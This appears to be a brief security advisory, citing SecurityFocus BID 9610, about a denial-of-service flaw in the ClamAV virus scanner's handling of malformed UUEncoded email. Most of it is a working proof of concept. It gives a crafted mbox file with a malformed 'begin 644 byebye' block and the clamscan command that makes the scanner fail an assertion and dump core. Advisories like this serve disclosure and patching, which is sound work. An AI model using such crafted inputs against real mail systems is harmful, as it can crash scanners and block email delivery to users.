source: https://www.securityfocus.com/bid/9610/info A problem in the handling of specially crafted UUEncoded messages has been identified in ClamAV. Because of this, an attacker may prevent the delivery of e-mail to users. Save the following file to ~/clamtest.mbox: From - begin 644 byebye byebye end Then do: # clamscan --mbox -v ~/clamtest.mbox assertion "(len >= 0) && (len <= 63)" failed: file "message.c", line 887 Abort (core dumped)